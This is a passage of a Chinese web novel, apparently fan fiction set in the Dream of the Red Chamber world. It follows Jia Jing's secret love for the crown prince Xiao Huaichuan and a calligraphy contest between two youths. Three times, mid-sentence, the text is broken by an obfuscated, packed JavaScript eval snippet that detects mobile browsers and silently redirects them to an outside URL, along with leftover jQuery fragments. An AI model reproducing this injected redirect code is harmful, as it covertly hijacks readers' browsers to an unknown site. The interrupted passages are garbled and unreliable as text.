贾敬说着,头微微转向,看向不远处抄手游廊里游戏说话的年轻小姐们, “倒是真的可以不让那些想要相看的闺秀们轻看了我。” 萧淮川深邃如潭的眼眸定定望着贾敬,微微抿了抿唇, “不,阿元的才华与能力,不需要依靠那些所谓的虚名浮利来彰显。” “若是只看重这些虚物,这样的相看何必继续?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14010192|147403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贾敬因萧淮川的话心中一暖,接着摇了摇头, “话不可能这么说,俗话说,知人知面不知心,内里隔着肚皮终究是看不见的,那么外表自然重要。” “其他人可不如淮哥这样了解我。” 贾敬叹了口气,“道理我都懂,可是,依旧觉得这样无趣,相看也是兄嫂的意思,我倒觉得,一个人挺好。” 他看似感慨的话,才是他真正想说的话。这是贾敬对萧淮川的表态,即便萧淮川不会知道。 萧淮川一怔,他没想到贾敬会这么说。 原来阿元也不想相看吗? 也? 萧淮川心中有些莫名,不知道自己为何会用这个字。 思绪一闪而过,萧淮川想着贾敬的年岁,在京里这帮公子少爷里面,还未成婚的,已经是凤毛麟角了。 “胡闹。”萧淮川再次想要伸手揉揉贾敬的脑袋,却在将手伸出一半时顿住。 面前的阿元,已经是个即将要成婚的大人,不是孩子了。 萧淮川改拍了拍贾敬的肩膀, “说什么小孩子顽话,成家立业,人之常情,是为人伦。” 贾敬听到这话,轻垂了眼睑。 果然,萧淮川也是这样想的。 是啊,这才是正常人的想法。 不成婚已然在众人心里是个罔顾人伦的想法,若是别人知晓他钟意之人是萧淮川,是当今太子,后果不堪设想。 自古有断袖分桃,龙阳之好的典故,大乾朝民风尚松,民间也盛行男风,可大多数是摆在暗处,明面上,没人去戳破。 大乾朝更是没有好男风的帝王,贾敬也不曾奢望什么,他也不能。 他想萧淮川活着,不是苟延残喘,不是万人唾骂,而是众人敬仰的坐上他应有的位置。 多少人在暗处对萧淮川以及储君的位置虎视眈眈,贾敬又怎么能成为萧淮川的污点和弱点呢? 他要成为萧淮川的助力,是萧淮川可以捅向外界的刀,斩断萧淮川面前的所有荆棘。 贾敬压下心中苦涩,故作轻松的和萧淮川说:“这事情强求不得,也得看个缘分不是?” 32.第 32 章 “也是,此事是需要些缘分的。” 萧淮川鬼使神差的顺着贾敬的话点了头。其实,像他们所处的位置,婚姻大事哪里讲什么缘分? 左不过是父母之命,媒妁之言,讲究门当户对,家族利益。像宁国府这样的,多是和四王八公各侯府联姻的。 就连萧淮川自己,他身为储君,却是成年皇子里唯一一个至今没有定下婚约的人。 为何? 因为他的婚事也由不得他自己做主,太子妃的位置重中之重,一切要听由天丰帝的安排。 这样的事情,这样的安排,萧淮川也早已经习惯。他轻垂眉眼,遮掩住眸中情绪。 萧淮川清楚,贾敬一样也清楚,两人间一时间沉默无话,气氛也沉了下来。 待抛开脑中的繁乱思绪后,萧淮川伸手从怀里掏出一个物件,顿了顿,随后毫不犹豫地递给了贾敬。 贾敬看着萧淮川的动作,定睛瞧了瞧他掌心里的物件,是一枚品质极好的羊脂白玉牌,上刻“阿元”二字,无论是雕工还是玉质,皆是难得一见的珍品。 贾敬微微挑了挑眉,目光从玉牌移到萧淮川身上,没有去接过那玉牌,他那手也接不了,他问萧淮川, “淮哥进府时就已经让人上了礼,又为我请了圣旨,如今又送这么稀罕的物件给我?” “赔罪。”萧淮川言简意赅。 贾敬愣了愣,赔罪?赔什么罪? 萧淮川手指轻轻滑过玉牌上“阿元”二字,眼含温柔,他轻声解释道:“先前答应了你,在你养伤期间会来探望,可我却食言,这些时日都未曾来。” “这块玉牌算作赔礼,以表达我的歉意。” 他说着抬眸看向贾敬,弯了弯眉眼,“阿元可原谅我?” 贾敬不禁失笑,原来是因为这事。 萧淮川这些时日没来,他确实有些失落,却没放在心上。萧淮川作为储君,事情本就繁多冗杂。 可萧淮川这样郑重的道歉和赔罪,确实让贾敬心中雀跃。 贾敬努力压了压想要上扬的嘴角,目光流转在那玉牌上,忽然冒出一个想法,“我手伤不便,淮哥帮我戴吧?” 话脱口而出,说完贾敬便有些后悔,刚准备说几句话找补一下,却见: 萧淮川没说话,而是直接将白玉挂牌的绳子解了,半步上前,伸手绕道贾敬的脖颈后,亲自把白玉牌挂在了他的脖子上。 贾敬的瞳孔微微收缩,那双桃花眼紧紧地盯着萧淮川近在咫尺的喉结,他连呼吸都轻了几分,生怕惊扰了什么。 此刻,他们两人之间的距离挨的极近。贾敬能够感受到,萧淮川身上传来的温热气息,是他熟悉的松香味。 这个味道对贾敬有着致命的吸引,令他心猿意马,紧张地咽了咽干涩的喉咙。 萧淮川脖子上仿佛跟糊了一层蜂蜜,黏住了贾敬的目光。就在这时,萧淮川的喉结轻微的滚动了几下。 那是自然的吞咽,可贾敬的视线不由自主地被吸引过去。 好似只要他将头再稍稍往前伸一下,便能一口将那凸起的喉结叼住。 这个念头一经冒出来,贾敬本就不平静的心宛如擂鼓一般,“咚咚咚”地剧烈跳动,仿佛要从嗓子眼儿里蹦出来。 他脸庞控制不住地升起一层热意,随后全身都感觉到燥热,贾敬的眼眸晃了晃神。 萧淮川已经帮贾敬系好了玉牌,松开了手,退后一步,与贾敬拉开了距离。 熟悉的松香味远离,贾敬一滞,心下一空,他有些失望,但更多的是庆幸。 方才险些在萧淮川面前失了态。 贾敬略带迷离的眼睛逐渐回神,脸上的燥意非但没有消除,反而更甚。 这是羞的。 他刚刚居然盯着萧淮川,产生了那样羞人的妄想和悸动。 呸!下流! 贾敬的头不免又低了低,恨不得把头埋进脖子里。 萧淮川见状,眼中闪过一丝诧异和不解。 阿元低着头是在看玉牌吗? 可望着贾敬因低头而显露的脖颈,原本白皙的肌肤上薄红一片,一路红到了耳根。 萧淮川的眉轻轻蹙起,担忧问道: “阿元,你怎么了?是身体不舒服吗?” 贾敬闻言吓了一跳,连忙抬起头来,结结巴巴地回答:“没……没事,我只是有点累了而已。” 他根本不知道,自己现在的这一副模样,是多么不让人信服。 贾敬白皙的脸颊泛起了酡红,像是雪山上映照的霞光,微敛的眼眸含着水润,眼尾微微泛红,桃花眼含苞待放,好似泛着春意,色若春花。 萧淮川不禁闪了眼,心中涌起一丝怪异之感。 怎么感觉阿元这副模样…… 心思刚一冒出来,萧淮川下意识咬了一下舌头,刺痛将呼之欲出的想法堵了回去。 他不愿去想,而是直接伸出手,放在了贾敬的额头上,感受着手下的温度,入手一片炙热。 萧淮川的眉头拧的更深,想起贾敬伤势还未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14023750|147403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好的手,今日又在这院子里吹了这么久的风,生怕他发烧。 “阿元,你的脸很烫,身体是哪里不舒服?” 贾敬被萧淮川的动作弄得有些局促,触碰在他额上的手,清凉,却让贾敬的脸更加红了。 他连忙挪开萧淮川的手,连忙呼出几口气,“真的没事,可能是太阳晒的。” “淮哥送的这玉牌,我很喜欢,字也好,我瞧着字迹……是淮哥的字?” 贾敬转移话题。 萧淮川的目光凝视着贾敬,见他确实没有什么难受的迹象,才缓缓松了眉,轻哼了一声。 “嗯,是我写的。” 贾敬弯着眼,“写的真好。” 他此时是认真看着坠在他胸前的那枚玉牌,看着上面的字。 俗话说,字如其人。萧淮川的字和他的外表却有些不搭。 萧淮川平时给人的感觉总是温和仁厚,言行举止间流露出一种从容不迫的气息。但他的字,铁画银钩,苍劲有力,笔锋很是凌厉,却不失流畅。 可贾敬知道,这才是真正的萧淮川。他隐藏起来,不为人所知的另一面。 萧淮川勾唇,却没说话。他的字若说起来,也就一般,看着唬人,若说结构章法和风格气韵,阿元的字要好上许多。 想到这里,萧淮川的目光又落在了贾敬的手上。太医每天会诊玩都会向他禀告,也知道贾敬的手恢复的很好,甚至超出了预期。 可萧淮川还是担忧,他希望的,是贾敬的手恢复如初,不仅仅是活动自如,连一道疤痕,萧淮川都不愿贾敬留。 贾敬若有所感,顺着萧淮川目光看去,晃了晃手,“太医说,恢复的很好,淮哥就放心吧。” 他自己的手,他心里有数,已经没什么大碍了。 萧淮川和贾敬站在一起,识趣的人都避开这里,即便他们也好奇,有意无意也朝这边瞧着,到底是为他们空出了一块儿,说话无人打扰。 可忽然插进来一道尖叫声: “敬二哥哥!十万火急!” 贾敬和萧淮川闻声看去,见是脸上处理完伤口,包的都快认不出脸来的贾赦。 他跟只火烧屁股的猴儿似的,朝贾敬这边冲来,萧淮川闪身挡了挡,生怕他刹不住,将贾敬撞到。 “赦哥儿,发生了什么事?” “政、政哥儿在那边被人拦了,听说政哥儿的书法是敬二哥哥指导过,那人说要跟政哥儿比试!” 贾敬一听,便知道是冲自己来的,“那人是谁?” 33.第 33 章 “他说他叫皇甫玦。” 贾赦立刻将人名号报上,至于这人是什么来头,就连他这个京城小霸王也没听说过。 贾敬和萧淮川对视一眼,皇甫?这姓还真是少。 京城叫得上名号的,有叫皇甫的吗? 贾敬迈步跟着贾赦朝前方众人聚集的地方走去,边走边问,“可知道他是和谁一起来的?” 贾赦挠了挠脑袋,努力回忆,“好像是跟着一位叫程一序的学子来赴宴的。” 程一序此人,贾敬有印象,已是今科进士,祖籍赣省,是南方的学子,印象里,他们二人并没有冲突。 “那个皇甫玦估摸着也就跟政哥儿差不多大。” 贾赦又补充一句,贾敬微微点头。 十四岁,那还是个孩子,想来应该是程一序家中亲戚家的弟弟。 那里围了一群人,贾敬还未走近,便已经对这群人的身份大致有了数,皆是他的同年们。 贾敬顿住脚步,看向萧淮川,轻声提醒道:“淮哥应该还有其他事儿吧?” 今日萧淮川能来,贾敬就已经很满足了,不求其他。 况且,哥哥嫂子说了要给他安排相看,必然不会善罢甘休。贾敬已经能预料到待会儿要发生什么了,这一切,他并不想给萧淮川看见。 萧淮川一听便听出了贾敬的意思,接下来的场合他确实不便再参与了,点了点头,“嗯,先走一步。” 倒不是借口,他近日确实忙,手上的事情很棘手,若不是今日来见阿元,可能还是脱不开身。 贾敬目送萧淮川走后,转身朝那一堆人看去,不禁挑了挑眉。 没想到,先前对他一再挑衅的李玉衡也在,贾敬还以为,此人早在何清走时,已经离去了,没想到,居然还在,到底是低估了他的脸皮。 而那人群里,有人在不停朝外观望,当看见贾敬时,一脸惊喜,正是宋子虚。 只见宋子虚赶忙走到贾敬面前,也不顾贾敬身边跟着萧淮川,小声道: “培元兄,你可算来了。” 他连忙将他知道的事情说与贾敬听,里面有一位名叫皇甫玦的少年,是他们同年程一序外家的表弟,将将十四岁。 而程一序的本家是赣省庐山程家,当地有名的书香门第,他本人此次科考,也是金榜第五名,是为传胪。 程一序那位表弟听闻贾政的字是贾敬所教,便一直缠着贾敬要比试一番。 听宋子虚这样说,贾敬觉得,这位皇甫少年倒是没有那么多恶意,好似真的只是想要和贾政比试。 贾敬心中有数后,朝宋子虚感激一笑,“多谢子虚兄了。” 宋子虚连忙摆手,引着贾敬进去。 贾敬很快就走到了最里面,只见里面竟然已经支起了桌案,案头两位少年隔着桌案,正大眼瞪小眼,互不相让。 只见其中一位身着绯色锦袍的少年,年约十四,身量较小,但胜在身形修长,气度不凡。 其面容隽秀,五官精致,甚至有一丝雌雄莫辨,连眉眼神色中显示出桀骜,都不怎么会让人厌恶。 只见皇甫玦昂首朝对面的贾敬道: “我在赣省便久闻京城贾培元的大名,其字一绝,本以为此次进京可以得见,可惜他受了伤。” “你的书法既然是那贾培元指导,为何不敢与我切磋比试?” 贾政紧绷着脸,眉宇间透露出的沉稳,与那皇甫少年都不似同年人。 “这位皇甫兄,来者是客,你若只是想要和我交流切磋,存周自当奉陪。” 贾政说着一顿,话锋一转,“可皇甫兄方才说的是什么话?” 人群中走来的贾敬恰好听见这句,也好奇,这位来“下战贴”的皇甫玦,说了什么。 “贾培元来了!” 不知是谁喊了一声,众人皆朝贾敬所在的位置看来,贾政和那位皇甫少年同样看了过来。 见贾敬到来,贾政明显松了口气,面色稍缓,刚才紧绷着的脸也好似是他紧张的伪装。 皇甫玦则是睁大着眼睛盯着贾敬看,眼里满是好奇。贾敬见状,朝皇甫玦浅浅一笑, “皇甫少爷刚刚说了什么?我刚不在场,不清楚。” 皇甫玦愣怔地望着面前的人,他其实也没说什么,只是为了激贾政和他比试,故意挑衅,讽刺贾敬是不是徒有虚名,借受伤之故不敢应战。 贾政亦不同意,是否是心虚? 方才贾敬对峙何清时,他贪玩去了别处,回来只是听他人说了一切,这更加让他兴致勃勃。 可现在,真当贾敬出现在他面前时,皇甫玦心中忽然涌起一抹悔意。 长得这么好看的人,怎么可能是草包! “我……”皇甫玦张了张嘴,吞吞吐吐,支支吾吾了半天也没说出个完整话来,脸倒是渐渐红了。 贾敬眯起了眼睛,觉得这位皇甫少年好生奇怪。 皇甫玦面对贾敬的视线,更显慌乱,眼睛飞速眨着,面上露出羞赧的神情,下意识朝身后看去,带着些无错,有求助的意味。 而他身后侧方,站着一位冷峻青年,贾敬认得,正是程一序。 这是捅了什么篓子,寻找表哥解决? 程一序就跟没看见皇甫玦的眼神一般,见贾敬看过来,微微颔首,也算是打招呼了,至于皇甫玦,他并未有介绍的打算。 皇甫玦见状,咬了咬牙,硬是将自己的头转了回来,气鼓鼓的。 贾敬将这些都看在了眼里,觉得这二人之间气氛,很微妙。 还未等贾敬细想,就见皇甫玦忽然朝贾敬一个躬身,声音颤抖却响亮,“对不起!” 贾敬眨了眨眼,有些懵。 贾政也诧异地望向皇甫玦,刚才在他面前还一副张牙舞爪的模样,怎么到了他敬二哥哥面前,就变脸了? 心中陡然升起一丝警惕。 贾敬的余光瞥见皇甫玦身后的程一序,只见他面色比先前好了许多,嘴角扬了一下又瞬间拉直,心中有了一丝猜测。贾敬又微微侧头,看向贾政,用眼神询问: 到底发生了什么事? 贾政见贾敬看过来,面色僵了僵,抿了抿唇,声音不大,唤了一声:“敬二哥哥。” 紧接着贾政用简洁的话讲事情的前因后果都说了一遍。 贾敬微微点头,也将事情都弄明白了。皇甫玦说的那些话,其实也没什么,比在场某些人的狗吠好多了。 他的目光落在他面前那位头低的看不见脸的少年,不禁笑出了声。 “你还想比试吗?” 皇甫玦羞赧地低着头,听到贾敬的问话,他一 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他拍了拍手,便有几位小丫头端了几个托盘上来。 众人一瞧,好家伙,不愧是开国国公府,这底蕴,这财大气粗的架势,真不是他们一般人能比的。 “那方砚台是什么?” “这……这是海水龙纹砚台!” “那墨是龙纹盘云墨!” “那套笔也不得了,全套的青玉管紫毫笔。” “啧啧啧,未雕刻的寿山田黄石,看色泽品相,不愧是第一品。” “那套孤本也是世间罕见啊。” 在场众人无不惊叹,有的人眼珠子都要瞪出来了,不断的咽着口水,有的人即便在努力克制,保持矜持,也难掩眼中的惊艳和心动。 贾敬惊诧,他哥今天受什么刺激了?看这架势,是早就预谋好的啊! 对上贾敷得意洋洋的神情,贾敬眨了眨眼睛,这是来炫耀的,还是来拉拢人心的? 不过无论是为了什么,总归是他哥对他的一片心。 贾敬的目光转向程一序,“这套行书孤本,就作为此次书法比试的彩头,程兄意下如何?” 程一序抬了抬眼,和贾敬的目光对上,点了点头,眼睛朝皇甫玦一瞥,朝贾敬解释道: “他是我的表弟,皇甫玦。性格有些急躁,冒犯了培元兄,还请培元兄多多包涵。” “阿玦任性,多谢培元兄了。” 程一序朝贾敬拱了拱手,他的声音虽然比较冷,显得没什么感情,可话的内容却没有问题,挑不出任何毛病。 贾敬闻言,若有所思片刻,紧接着恍然大悟。 先前皇甫玦和程一序之间的奇怪气氛,贾敬终于明了。原来,程一序是借自己的手,收拾自家熊孩子啊。 皇甫玦瞧着便是有些傲气的少年,程一序是想借他们的手,挫一挫这孩子的傲气啊。 既然如此,程一序的谢意贾敬是欣然收下。 只是没想到,这程一序看着如高岭之花,这做的事情,倒是显得腹黑。 贾政和皇甫玦目光相对,皆能看见对方眼中的战意。 “比试开始!” 34.第 34 章 贾政和皇甫玦间的比试切磋,吸引了全场人的注意,大家也不急着比试,全都围了过来,看两个少年比试,都很有兴趣。 尤其是,这两人身份还都不一般。 一位是书法闻名京城贾培元的族弟,一位是此次科考第五程一序的表弟,书香门第。 这两方斗法,大家的劲儿都起来了,抱着看戏的心态,纷纷议论起来。 “你们觉得,谁能赢啊?” “我觉得是贾培元那位族弟,到底是他亲手教出来的。” “什么呀,那小兄弟先前说过,贾兄就指导了这一段时日,我更看好程兄的表弟,他们程家可是赣省有名的书香世家,祖上还出过状元呢。” “要不,咱们赌一赌?” 一群人起哄,竟然还开了赌局,好些人押注。 贾赦在一旁跃跃欲试,偷偷瞄着贾敬,见他没关注自己,暗搓搓从腰间扯下一个荷包,犹豫一瞬后,直接押在了贾政那一边。 臭弟弟,可一定要赢啊! 这是他半个月的月俸银子。 贾政和皇甫玦面前早已经布置好了一切,两人站定。 贾政深呼吸一口气,提起笔,手下意识就攥紧了笔,没一会儿,手心便感受到一阵濡湿。 心砰砰地跳着,他知道自己现在过于紧张了,头不自觉地朝贾敬看去。 贾政现在的心中很是复杂,他既激动,又隐约害怕,就仿佛站在悬崖边上。 贾敬见状,朝贾政微微颔首,“按照你平时的感觉去写便是。” 简单的一句话,里面是贾敬对贾赦的信任和鼓励,贾政抿了抿唇,阖上眼,心中冥想着待会要写的文章,不安的心也渐渐安定下来。 对面的皇甫玦将对面兄弟间的互动尽收眼底,眼里带着期待微微转头,看向站在他身后的程一序,却见程一序冷着脸,抱臂站着,没什么表示。 “哼。”皇甫玦面上闪过一丝忿忿,冷哼一声转回了头,明显带着赌气的意味。 因此,他也没有看见,再他转过去的那一瞬间,程一序掀了掀眼皮,挑动了下眉头。 贾敬的眼睛在二者之间扫过,心中不禁暗笑,这对表兄弟也是好玩。 下一瞬,贾敬原本随意扫过的眸光忽然顿住,桃花眼眯起,盯着皇甫玦,或者说,皇甫玦执笔的那只手。 那只手白皙修长,整体显得纤细,尤其是那绯色衣袖露出的那节手腕,仿佛轻轻一折就能断了。 贾敬眼眸凝神,细细思考。 而贾政这边也终于放松下来,如释重负,缓慢却坚定地握起笔,轻轻提了口气,眼神骤然一定,紧接着毫不犹豫利落地下笔。 霎那间,黑色的字迹宛如灵动的墨龙,跃然于洁白的宣纸之上,笔锋所过之处,是墨龙游过的龙尾,越游越顺滑,越来越自如。 皇甫玦亦不甘示弱,抬手便是挥毫泼墨,墨色如海浪一般向纸面卷去,气势不俗。 在场的众人都不由自主地屏住了呼吸,生怕自己轻微的喘息就打破了这份气韵。 他们的目光紧紧黏在纸上,刚看完贾政这边的龙飞凤舞,又急忙转向皇甫玦那边的波涛汹涌,只恨自己的眼睛不能同时看向两边。 贾敬盯着贾政的那副字,眼中也是难掩的惊讶,紧接着就是一股由内而发的自豪。 这些时日,贾政一直都有让贾敬来指导他的书法。贾政的书法童子功很稳,字写的也确实不错。 可贾敬在其中看出一丝门道,贾政有意无意间,在模仿自己的字迹。 练习书法,本就是从描摹开始,这原本没什么问题。可若是一直描摹,便也会将其框死。 只是形似,不能神似。 差了一股气。 贾敬的字能让众人称赞,他是用心钻研过得。书法一道上,想要有所长进,必须要有自己笔韵气韵,字中有神。 先前这些,贾政是缺失的,贾敬这些时日有意引导,让贾政去描摹了多种其他字迹,对比其差距。 没想到,这小子还真心悟了。 而看向皇甫玦的字时,贾敬更是一惊。 这字和人的差距,还真是大啊…… 贾敬对于这位皇甫小兄弟的兴趣更深了。 “啪嗒!” 紫檀木笔管与白瓷笔搁相撞,发出了一声清脆悦耳的声响。 这声音虽然不大,但却在这安静紧张的氛围中显得格外清晰,宛如一滴水滴落入古井,荡起层层涟漪,也让众人恍然。 已经结束了。 贾政与皇甫玦同时抬头,目光相撞,本是战意十足,却不曾想,两人相视一笑。 “啪啪啪!” 不知是谁带头,一阵阵掌声响起。 “呼……” 众人也终于想起了呼吸,重重呼出一口气,眼里是难掩的震惊,他们的心绪和注意居然就这么被两位少年的书法所牵动了。 桌上的两副字,也让许多人仔细端详起来。 【笋因落箨方成竹,鱼为奔波始化龙】 这是贾政所写。 “妙啊!这字迹飘逸灵动,好似墨龙遨游九天,字与诗相得益彰,宛若天成啊!” 有人已经止不住感慨,说出心中之感。 【海纳百川,有容乃大;立壁千仞,无欲则刚】 另一幅则是皇甫玦的墨宝。 “没想到,这位皇甫小兄弟看着瘦削,可这字气势磅礴,犹如奔腾江河!” 两人的风格气韵各有千秋,一时间讨论声此起彼伏,实在难分伯仲。 本以为只是两少年的玩闹比拼,可没想到,此字一出,让在场半数人都自惭形秽,他们可写不出这样的字。 其实也不怪他们,多数人是为科举,平日里练得是馆阁体,书法一道,说到底是兴趣使然,并不是每个人都需要花精力去钻研。 有些人心里也不禁想着,两少年如此水平,那么能够指导贾政书法的贾敬以及皇甫玦身后的程一序,他们在书法一道上又是怎样的造诣? 贾政垂在袖子里的手紧紧攥着,眼神紧张地望向贾敬,他不在乎别人的看法,他在乎的,是这位从小仰望的兄长对自己的看法。 “政哥儿,你这字我已不便点评,你已然悟了。” 贾敬欣慰一笑,说出的话更是感慨。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14038575|147403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 贾政的眼眸瞬间亮了,眼眶都有些泛酸,他努力睁大眼睛,就怕自己在众人面前失态丢了丑。 皇甫玦在旁边抿着唇,眼巴巴看着。 贾敬侧头便对上他的目光,先是一愣,见他这幅模样,心中猜测: 不会是也在等自己的点评吧? 贾敬莞尔。 “皇甫小兄弟这幅字,气势磅礴,着实让我大开眼界。” 看的出来,皇甫玦不是一个善于隐藏自己情绪,或者说他不需要去隐藏。 因为贾敬的话,他瞬间笑了出来。 贾敬这才发现,这位少年笑起来的时候,两边有着浅浅的酒窝,削弱了他原本脸上的倨傲。 紧接着,贾敬就见皇甫玦转头,看向旁边一直未说话的程一序,抬了抬下巴。 程一序叹了口气,好似有些无奈,他走到皇甫玦身边,反问,“很得意?” “嗯哼。”皇甫玦轻哼一声,眼睛睨向程一序。 贾敬看的出来,程一序对这位表弟很是纵容。 程一序眼睛略过皇甫玦,看向贾敬, “培元兄,多谢了。” 贾敬勾了勾唇,“好说。” 皇甫玦左看看,右看看,纳闷贾敬和程一序在打什么哑谜。 而原本还在讨论谁优谁劣的其余人,也渐渐停下声来,看向贾敬几人。 贾敬则是看向贾政,“政哥儿,还想分个高下吗?” 贾政抿了抿唇,随后摇了摇头,指了指桌上的那副字,“敬二哥哥,我只想将这幅字送予你。” 他这幅字就是为了贾敬所写,他希望敬二哥哥如诗中所写,成竹化龙。 皇甫玦一听,瞬间跳脚,“我也不比了,我这幅字,也是送给、送给培元哥哥的!” 他说完,眼睛瞟向贾敬,嘴唇嚅嗫了几下,“我觉得培元哥哥的胸怀如海一般,没有计较我的冒犯。” “对不起!” 皇甫少年再次道歉,此次没了上次的羞愧,更加坚定。 他也确实不是为了和贾敬比较,这幅字确实如他自己所说,为贾敬所写。 贾敬眨了眨眼睛,“今日最好的两幅字,就这么给我了?” 他自然知道,这哪里是单纯两幅字,这是两位少年赤忱的心。 连他自己也没想到,今日还会收到这样的赠礼。 “自然,只有你配得!”皇甫玦立刻接话,接着有些结巴,“你、你不准嫌弃!” 贾敬眉眼都笑弯了,“看来今日,是我赚了。” “贾培元,你也太招人嫉妒了吧?” “我要羡慕死了。” “刚刚还想着说,能不能将字拍来,挂家里,没想到啊……” 周围人也表达出了自己的羡慕,随后便散开,自己组圈子比试去了。 字没了,这不是还有宁国府准备的其余彩头吗? “呵。”程一序哼了一声,吸引了贾敬的注意。 下一瞬,就听程一序对皇甫玦道:“这么快就喊人哥哥了?” 贾敬扯了扯嘴角,这话怎么听得那么怪异? 好尴尬。 35.第 35 章 程一序掀了掀眼皮,又瞥了贾敬一眼。 贾敬尴尬一笑。 程一序对皇甫玦嗤笑着,“你有没有出息?就看脸?” “要你管!” 皇甫玦对程一序翻了个白眼,绕过了他。小心瞄了眼贾敬,目光忽然落在对面的贾政身上,眼睛一转,便走到了贾政的面前, “我是皇甫玦,无字,今日也算是不打不相识,以后……就是朋友了?” 和他做朋友? 贾政心中狐疑,总觉得这个皇甫玦目的不纯,可又说不出哪里怪异,因此面上故作矜持, “我名贾政,字存周。” 皇甫玦伸手直接拍了拍贾政的肩膀,“以后玦哥罩着你!” 贾政有些不适应,动了动肩膀,紧接着反应过来,“以后?” 贾敬看向程一序,用眼神询问:这小孩后面还跟着你留在京里? 还真是稀奇,表哥在京中任职,还带着表弟? 还未等程一序说话,皇甫玦就凑到了贾敬面前,“培元哥哥,我和他可没关系,我不回赣省,是因为我下个月就要进国子监读书了。” “哦?” 贾敬打量着皇甫玦,确实是到了科举下场的年纪,“皇甫小兄弟是赣省的贡监生?” 所谓贡监,便是指地方科举贡到国子监学习的生员。 “培元哥哥叫我阿玦就好。” 皇甫玦说完顿了顿,摸了摸鼻子,显得有些扭捏,支支吾吾道:“我是荫监生。” 话刚说完,他像是怕贾敬误会什么,赶忙解释,“我不是贡监生,是因为我压根没有参加科考。” 他真的不是因为没考上,才靠家里进国子监的废物! “呵。”贾敬怎么可能看不出皇甫玦的小心思,只觉得好玩,笑出了声。 “阿玦是觉得,荫监很丢人吗?”贾敬故意问,他就想逗逗这小孩,心里却想起了别的事。 荫监的要求,最低也是三品大员或勋贵子弟,赣省有姓皇甫的三品官员吗? 贾敬脑海里没有印象。 皇甫玦下意识就点了头,在他看来,荫监进去的那些生员,就是一群不学无术、靠祖宗荫蔽的二世祖。 他是有苦衷……不然他根本不会同意做荫监生。 可刚点完头,皇甫玦就后悔了,脸上闪过懊恼。 他怎么就忘了,贾敬也是通过荫监进入的国子监学习,之后参加乡试、会试、殿试。 先前皇甫玦也将贾敬当成他认为的那一类不学无术的勋贵子弟,可现在? 贾敬在皇甫玦心中的形象早就翻天覆地了。 “我也是荫监生呢。” 贾敬故作伤心,轻敛眼眸,浓密且长的睫毛下落,洒下一层淡淡阴影,让人忍不住反省,自己是不是说错了话。 “培元哥哥,我……”皇甫玦语无伦次的想要解释,越说越急,话怎么也说不出口。 “哈哈哈哈哈。”贾敬忽的笑出声。 皇甫玦愣住,程一序半阖着眼,伸手敲了一下皇甫玦的脑袋,“是个蠢得。” 贾政也反应过来,敬二哥哥是在逗皇甫玦玩儿,唇角压不住的弯起。 “好啊,你们……”皇甫玦也终于反应过来,脸骤然涨红,但碍于贾敬面前,他又闭了嘴,嘴巴却不高兴的翘了起来。 “阿玦可是生气了?我向你赔不是,”贾敬朝皇甫玦拱手,“可愿意原谅我?” 桃花眼直接笑弯成了月牙,皇甫玦直直地看着。 贾敬眼中笑意更甚,他好像发现了皇甫玦的一个秘密,喜欢好颜啊。 皇甫玦耳根热热,移开了目光,“我没生气。” “荫监其实没什么,我是荫监身份进的国子监。”贾敬说着,抬手指了指贾政, “政哥儿下个月也要凭借荫监身份进入国子监,你们还是同窗呢。” “无论用什么方式进国子监学习,最终科举,乡试、会试,到了殿试,圣上看的还是真才实干,不是吗?” 皇甫玦点点头,却未说话。 贾敬注意到,皇甫玦的唇紧紧抿着,他似乎有什么顾虑和想法。 不过,既然他未开口,贾敬也当没看出来,毕竟今天只是他们第一次见面。 “敬二哥哥,我要去国子监?” 贾政在一旁没忍住,问出了自己的疑虑。 荣国府确实有一个荫监名额,这个名额本应该在两年前就使用了,奈何贾赦顽皮,每年在入学的时候,整各种幺蛾子,从而错过了国子监入学,名额便一直空到了今日。 按理说,这个名额应该还是要让贾赦去。 贾政紧张的手紧紧捏住袖子,眼睛一眨不眨地盯着贾敬,只待他一个回答。 贾敬点点头,肯定道:“下月国子监开学,政哥儿便要去读书了,到时候,你和阿玦要互相照应啊。” “居然是真的……”贾政满脸的不可置信,眼里却已经情不自禁填满了喜色。 “那哥哥他……”贾政开心过后,便担忧起贾赦来,这本该是属于贾赦的名额。 贾敬知晓贾政在担忧什么,“放心,赦哥儿自有其他的安排。” 贾赦不擅长读书,何必浪费这个名额。 贾敬记得,上辈子这个名额其实最后也是给了贾政。 但那是二婶史氏和二叔贾代善在家吵了半个月,甚至放言要回娘家,才拿到了名额。 要贾敬说,他这位二婶也是忒偏心了些。 政哥儿确实要比赦哥儿听话懂事许多,可到底也是她亲生的。 然而她对贾赦的态度,知道他们情况的人,无不摇头,都说没见过这种能当仇人的母子。 